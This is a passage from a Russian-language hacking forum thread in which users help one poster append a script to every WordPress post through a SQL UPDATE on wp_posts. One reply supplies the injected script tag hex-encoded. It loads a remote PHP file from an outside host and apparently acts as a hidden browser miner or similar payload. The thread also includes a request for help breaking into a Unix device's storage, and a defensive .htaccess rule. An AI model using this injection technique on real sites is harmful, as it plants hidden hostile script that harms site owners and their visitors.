Ваши вопросы по уязвимостям.

23.10.2017, 19:05

Kirza

Новичок

Регистрация: 12.03.2013

Сообщений: 0

С нами: 6931766

Репутация: 0

Цитата:

Сообщение от winstrool

↑
как то так:
update wp_post set post_content=post_content+'JSSCRIPT'

--- походу не так расписал таблицы #1146 - Table 'wordpress1.wp_post' doesn't exist

БД wordpress1 > wp_post > post_content

𝕏 Twitter Reddit Telegram Копировать ссылку

23.10.2017, 19:39

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Вам пример кинули, вектор, значение вы свои подставляйте .

23.10.2017, 20:44

Kirza

Новичок

Регистрация: 12.03.2013

Сообщений: 0

С нами: 6931766

Репутация: 0

Цитата:

Сообщение от BabaDook

↑
Вам пример кинули, вектор, значение вы свои подставляйте .

Суть понятна - просто текст - добавился на ура - скрипт - не хочет ( пробовал разными путями со скобками - ток же 0

23.10.2017, 21:25

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

С нами: 11322426

Репутация: 0

Цитата:

Сообщение от Kirza

↑
Суть понятна - просто текст - добавился на ура - скрипт - не хочет ( пробовал разными путями со скобками - ток же 0

Напиши свой код. Телепатов нет.

23.10.2017, 22:14

Kirza

Новичок

Регистрация: 12.03.2013

Сообщений: 0

С нами: 6931766

Репутация: 0

Так пашет update wp_posts set post_content=post_content+'123'

так нет update wp_posts set post_content=post_content+''

23.10.2017, 22:29

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Цитата:

Сообщение от Kirza

↑
Так пашет update wp_posts set post_content=post_content+'123'
так нет update wp_posts set post_content=post_content+''

А толку? Всё равно скрипт не сработает? Иными словами, вы так же можете написать это в форму сообщения. СКРИПТ будет как ткст,

24.10.2017, 02:07

crlf

Постоянный

Регистрация: 18.03.2016

Сообщений: 663

С нами: 5344886

Репутация: 441

Цитата:

Сообщение от Kirza

↑
Так пашет update wp_posts set post_content=post_content+'123'
так нет update wp_posts set post_content=post_content+''

Код:

UPDATE wp_posts SET post_content = CONCAT(post_content, '');

24.10.2017, 09:31

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от Kirza

↑
Так пашет update wp_posts set post_content=post_content+'123'
так нет update wp_posts set post_content=post_content+''

Ну засунь значение в хекс:

Цитата:

Сообщение от None

update wp_posts set post_content=post_content+0x3C73637269707420737263 3D22687474703A2F2F73696E75732E72752F7069642E706870 3F6B79653D3863633362267468726F74746C653D302E352673 655F636865636B3D66616C7365223E3C2F7363726970743E

24.10.2017, 19:59

VKAPI

Участник форума

Регистрация: 25.11.2011

Сообщений: 141

С нами: 7612886

Репутация: 0

помогите с решение..

Есть устройство на Уникс..

Подключенно к моей вафле по роутру на Linux

как раскопать хранилище файлов устройсва..

при условии что устройсво у меня в руке.

SSH не удалось из за отсутвия опыта серьёзного

#10

24.10.2017, 21:03

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

КАК ЗАПИСАТЬ ЭТО В .HTACCESS ИЗ ГЛАВНОИ ДИРЕКТОРИИ НО СЫЛАЛОСЬ ТОЛЬКО НА ПАПКИ "files". "images"?

Код:

# Запрещено выполнение любого кода в директории загрузке файлов
php_flag engine 0
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml

Внести депозит

Депозит создан

Вывести депозит